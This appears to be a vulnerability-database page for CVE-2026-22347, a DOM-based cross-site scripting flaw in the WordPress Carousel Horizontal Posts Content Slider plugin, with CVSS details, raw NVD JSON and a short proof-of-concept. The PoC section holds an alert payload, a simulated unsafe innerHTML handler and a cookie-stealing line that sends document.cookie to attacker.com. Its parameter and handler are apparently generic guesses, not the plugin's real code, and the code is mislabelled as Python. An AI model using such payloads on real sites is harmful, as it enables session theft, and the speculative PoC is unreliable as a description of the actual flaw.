Security Vulnerability Report
中文
CVE-2026-22347 CVSS 6.5 MEDIUM

CVE-2026-22347

Published: 2026-01-22 17:16:31
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in subhansanjaya Carousel Horizontal Posts Content Slider carousel-horizontal-posts-content-slider allows DOM-Based XSS.This issue affects Carousel Horizontal Posts Content Slider: from n/a through <= 3.3.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

carousel-horizontal-posts-content-slider <= 3.3.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22347 PoC - DOM-based XSS in WordPress Carousel Horizontal Posts Content Slider plugin // This PoC demonstrates how an attacker can inject malicious JavaScript through URL parameters // Note: This code is for educational and security testing purposes only const pocPayload = '<script>alert("XSS - CVE-2026-22347")</script>'; // Simulate vulnerable URL parameter injection function generateVulnerableURL(baseUrl, pluginEndpoint) { const maliciousParam = '?carousel_id=' + encodeURIComponent(pocPayload); return baseUrl + pluginEndpoint + maliciousParam; } // Example attack scenario const targetSite = 'https://example-wordpress-site.com'; const pluginPath = '/wp-content/plugins/carousel-horizontal-posts-content-slider/'; const maliciousURL = generateVulnerableURL(targetSite, pluginPath); console.log('Malicious URL for testing:'); console.log(maliciousURL); // Simulate the vulnerable JavaScript code pattern function vulnerableJSHandler(userInput) { // VULNERABLE: Direct insertion without sanitization document.getElementById('carousel-container').innerHTML = userInput; } // This would be triggered when victim visits the malicious URL vulnerableJSHandler(pocPayload); // Real attack payload example - session hijacking const realAttackPayload = '<script>document.location=\'https://attacker.com/steal?cookie=\x27+document.cookie</script>'; console.log('Real attack payload could be:', realAttackPayload);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22347", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:31.210", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in subhansanjaya Carousel Horizontal Posts Content Slider carousel-horizontal-posts-content-slider allows DOM-Based XSS.This issue affects Carousel Horizontal Posts Content Slider: from n/a through <= 3.3.2."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en subhansanjaya Carousel Horizontal Posts Content Slider carousel-horizontal-posts-content-slider permite XSS basado en DOM. Este problema afecta a Carousel Horizontal Posts Content Slider: desde n/a hasta &lt;= 3.3.2."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/carousel-horizontal-posts-content-slider/vulnerability/wordpress-carousel-horizontal-posts-content-slider-plugin-3-3-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}